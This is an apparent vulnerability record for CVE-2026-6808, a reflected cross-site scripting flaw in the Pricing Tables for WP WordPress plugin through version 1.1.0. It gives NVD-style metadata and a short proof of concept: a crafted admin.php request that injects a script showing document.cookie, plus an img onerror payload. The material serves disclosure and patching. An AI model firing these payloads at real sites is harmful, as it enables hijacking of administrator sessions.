CVE-2026-6808

<!-- PoC for CVE-2026-6808 Reflected XSS --> <!-- Vulnerable Parameter: page --> GET /wp-admin/admin.php?page=<script>alert(document.cookie)</script> HTTP/1.1 Host: target-site.com <!-- Explanation --> <!-- 1. The attacker crafts the URL above. 2. The 'page' parameter is reflected in the response without sanitization. 3. When the admin visits the link, the script executes. --> <!-- HTML Injection Example --> <!-- <img src=x onerror=alert('XSS')> -->

{"cve": {"id": "CVE-2026-6808", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:56.497", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Pricing Tables for WP plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 1.1.0. This is due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick an administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/awesome-pricing-tables-lite-by-optimalplugins/tags/1.1.0/OPT/Admin/Pages/Main.php#L44", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/awesome-pricing-tables-lite-by-optimalplugins/trunk/OPT/Admin/Pages/Main.php#L44", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0ab4cdcd-1ca8-4ee9-87ab-bf4ce33f94d3?source=cve", "source": "[email protected]"}]}}